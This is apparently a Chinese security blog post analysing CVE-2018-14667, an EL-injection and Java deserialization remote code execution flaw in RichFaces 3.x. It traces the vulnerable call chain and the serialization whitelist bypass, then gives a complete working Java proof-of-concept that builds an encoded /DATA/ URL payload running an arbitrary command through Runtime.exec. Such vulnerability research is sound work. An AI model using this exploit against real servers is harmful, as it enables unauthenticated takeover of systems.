作者:lucifaer
作者博客:https://www.lucifaer.com/
刚开始分析Java的漏洞,很多东西感觉还是有待学习…
The RichFaces Framework 3.X through 3.3.4 is vulnerable to Expression Language (EL) injection via the UserResource resource. A remote, unauthenticated attacker could exploit this to execute arbitrary code using a chain of java serialized objects via org.ajax4jsf.resource.UserResource$UriData.
根据漏洞描述,可以得知是通过UserResource
注入EL表达式而造成的rce。而未经身份验证的攻击者可以通过org.ajax4jsf.resource.UserResource$UriData
的反序列化利用链,完成rce。
MediaOutputRenderer$doEncodeBegin:54
# 触发createUserResource方法,将序列化内容写到Map映射中
BaseFilter$doFilter
InternetResourceService$serviceResource:101 # 根据resourceKey获取资源
ResourceBuilderImpl$getResourceForKey:217 # 从Map映射中利用键值获取序列化内容
InternetResourceService$serviceResource:106 # 根据resourceKey获取资源
ResourceBuilderImpl$getResourceDataForKey:227 # 白名单过滤,反序列化
InternetResourceService$serviceResource:115 # 触发反序列化方法
UserResource$getLastModified:73 # 可被触发的反序列化方法之一
ValueExpression$getValue:4 # 执行el表达式
官方给的描述是通过UserResource
类进行EL表达式注入的,全局搜一下UserResource
这个类,定位到org.ajax4jsf.resource.UserResource
。同样官方说可以用UriData
进行反序列化利用链的构造,简单看了一下,需要注意的以下三个方法:
send()
getLastModified()
getExpired()
以上三个方法流程大致相同,挑了getLastModified
跟一下:
可以看出能利用UriData
执行EL
表达式。跟一下UriData
是从哪里来的:
无论怎样最后会获得一个对象,继续跟一下:
getter/setter方法获值,跟进一下是什么地方赋值的,在org.ajax4jsf.resource.ResourceContext$serviceResource
可以清楚的看出,在
resourceContext.setResourceData(resourceDataForKey);
这里完成了set方法。我们现在跟一下上面的流成,看看resourceContext
具体是一个什么东西。
首先跟一下getResourceDataForKey
:
根据继承关系可以看到是在ResourceBuilderImpl
中实现的:
首先对resourceDataForKey
进行了字符串截取,之后将字符串进行解密,最后调用了LookAheadObjectInputStream
,我们跟一下这个类有什么作用:
可以看到这个类重写了resolveClass
方法,也就是说在加载过程中会调用到这个resolveClass方法,并连接到指定的类。在其中有一个this.isClassValid(desc.getName())
实现了白名单检测:
可以看到调用了class.isAssignableFrom
校验反序列化的类,也就是说如果反序列化的类是白名单中类的子类或者接口是可以通过该项校验的。向下看一下,可以发现whitelistBaseClasses
是从resource-serialization.properties
中加载的:
而UserResource
恰好是InternetResource
的子类,UserResource$UriData
是SerializableResource
的子类:
所以满足反序列化白名单的要求。
反过头来看一下之前的字符串解密过程:
Coded
中的d
为null
,也就是说这个解密过程为
base64decode -> zip解密
现在反序列化流程是我们可以控制的,我们回头看一下组成resourceContext
的另一部分resource
的生成过程:
首先对url进行了截取,之后通过键值关系在Map映射中获取资源。看一下在哪里对Map进行的填充:
可以看到首先根据生成的path去获取userResource
,获取不到的话就new一个,然后加入到resources Map
中,也就是说只要我们找到哪里调用了createUserResource
就可以控制source
的值。
查看createUserResource
的调用点时发现只有MediaOutputRenderer$doEncodeBegin
调用了该方法。
看一下MediaOutputRenderer
的处理逻辑,首先创建了userResource
,然后调用了getter的方法获取userResource
的Uri
,之后将Uri
放到了ResponseWriter
中,我们看一下最后这个ResponseWriter
最后干了什么:
将会把URL
打印到页面上。
现在我们看一下getUri
的处理过程:
调用到了UserResource$getDataToStore
:
可以看到主要完成的工作就是将MediaOutputRenderer
的component
参数(从代码中可以看出是从标签字段中获得的值)中的一些值提取出来赋值到UriData
对象中,最后返回UriData
对象。
继续跟进一下getUri
:
可以看到storeData
就是UriData
对象,将其序列化后经过encrypt加密后返回到resourceURL
中。回看一下反序列化过程:
也就是我们只需要构造/DATA/
后的数据就好,/DATA/
前半段的数据是可以从url
中获取的:
至此整个RCE的流程就分析完了。
梳理整理整个的触发流程,发现该漏洞可执行getLastModified
、getExpired
、send
这三个方法,完成EL表达式的执行,但是他们的触发条件是不同的:
resource.isCacheable
为true
触发getLastModified
、getExpired
resource.isCacheable
为false
触发getLastModified
、send
这里解释一下为什么在resource.isCacheable
为false
时还会触发getLastModified
,调用栈如下:
InternetResourceService$serviceResource:152 # 进入else处理环节
ResourceLifecycle$send:37 # 无论如何都会调用sendResource方法
ResourceLifecycle$send:117 # resource.sendHeaders触发getLastModified方法,send触发send方法。
可以看到最稳定的触发点就是getLastModified
,接下来的poc也以这个稳定触发点为例。根据在0x01中已经提及的流程,逆向的生成UriData
,序列化,加密,即可。
根据tint0的文章,选择使用javax.faces.component.StateHolderSaver
来作为反射生成的对象,也就是modified
对象,使用这个对象的原因是因为这个对象在反序列化失败时可以返回一个null
对象,最后应用会返回一个200状态码,而当反序列化成功时,就尝试将状态对象转换成一个数组,如果失败时会抛出一个Richface无法捕捉的异常,应用最后返回一个500状态码。利用状态码的不同,可以判断我们的反序列化过程是否成功执行。
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
// 根据文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
Location location = new Location("", 0, 0);
UriData
主要点在于构造UriData
中的modified
字段。首先整理生成modified
所需要的几个条件:
ValueExpression
类的getValue
跟一下getValue
:
根据继承类来看,右边框内的类都是我们可以利用的,以TagValueExpression
举例:
可以看到需要另外一个ValueExpression
类,并且调用其getValue
的方法。
我们首先看该构造函数的第一个需要构造的参数attr
:
该类的构造函数为:
可以看到关键点在于将我们的EL表达式构造到value
处,其他的参数可以为空。
接着看第二个需要构造的参数orig
,这里我们调用另一个ValueExpressionImpl
类来构造这个orig
参数:
跟一下getNode
和getValue
:
下个断动态调一下,发现应如此构造expr
:
pocEL+" modified"
其他的参数可以为空。这样我们就可以构造一个完整的TagValueExpression
类,这个类可以执行我们的EL表达式。
// 1. 设置UriData
// 设置UriData.value
Object value = "cve-2018-14667";
// 设置UriData.createContent
Object createContent = "cve-2018-14667";
// 设置UriData.expires
Object expires = "cve-2018-14667";
// 设置UriData.modified
TagAttribute tag = new TagAttribute(location, "", "", "poc", "modified="+pocEL);
ValueExpressionImpl valueExpression = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
TagValueExpression tagValueExpression = new TagValueExpression(tag, valueExpression);
Object modified = ct.newInstance(null, tagValueExpression);
之后的步骤就是利用反射构造一个UriData
,并进行初始化,同时执行序列化:
UserResource.UriData uriData = new UserResource.UriData();
Field valueField = uriData.getClass().getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(uriData, value);
Field createContentField = uriData.getClass().getDeclaredField("createContent");
createContentField.setAccessible(true);
createContentField.set(uriData, createContent);
Field expiresField = uriData.getClass().getDeclaredField("expires");
expiresField.setAccessible(true);
expiresField.set(uriData, expires);
Field modifiedField = uriData.getClass().getDeclaredField("modified");
modifiedField.setAccessible(true);
modifiedField.set(uriData, modified);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(uriData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
可以直接复制ResourceBuilderImpl$encrypt
的加密函数,就在decrypt
的上面:
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);
这里要注意一下顺序,在反序列化前,解密的顺序为base64+zip,那么加密过程就需要zip+base64。
import com.sun.facelets.el.TagValueExpression;
import com.sun.facelets.tag.TagAttribute;
import com.sun.facelets.tag.Location;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.ValueExpressionImpl;
import org.ajax4jsf.resource.UserResource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Date;
import java.util.zip.Deflater;
import javax.faces.context.FacesContext;
public class poc {
public static void main(String[] args) throws Exception{
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
// 根据文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
Location location = new Location("", 0, 0);
// 1. 设置UriData
// 设置UriData.value
Object value = "cve-2018-14667";
// 设置UriData.createContent
Object createContent = "cve-2018-14667";
// 设置UriData.expires
Object expires = "cve-2018-14667";
// 设置UriData.modified
TagAttribute tag = new TagAttribute(location, "", "", "poc", "modified="+pocEL);
ValueExpressionImpl valueExpression = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
TagValueExpression tagValueExpression = new TagValueExpression(tag, valueExpression);
Object modified = ct.newInstance(null, tagValueExpression);
// 2. 序列化
UserResource.UriData uriData = new UserResource.UriData();
Field valueField = uriData.getClass().getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(uriData, value);
Field createContentField = uriData.getClass().getDeclaredField("createContent");
createContentField.setAccessible(true);
createContentField.set(uriData, createContent);
Field expiresField = uriData.getClass().getDeclaredField("expires");
expiresField.setAccessible(true);
expiresField.set(uriData, expires);
Field modifiedField = uriData.getClass().getDeclaredField("modified");
modifiedField.setAccessible(true);
modifiedField.set(uriData, modified);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(uriData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
// 3. 加密(zip+base64)
//
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);
// 4. 打印最后的poc
String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
System.out.println(poc);
}
}
效果: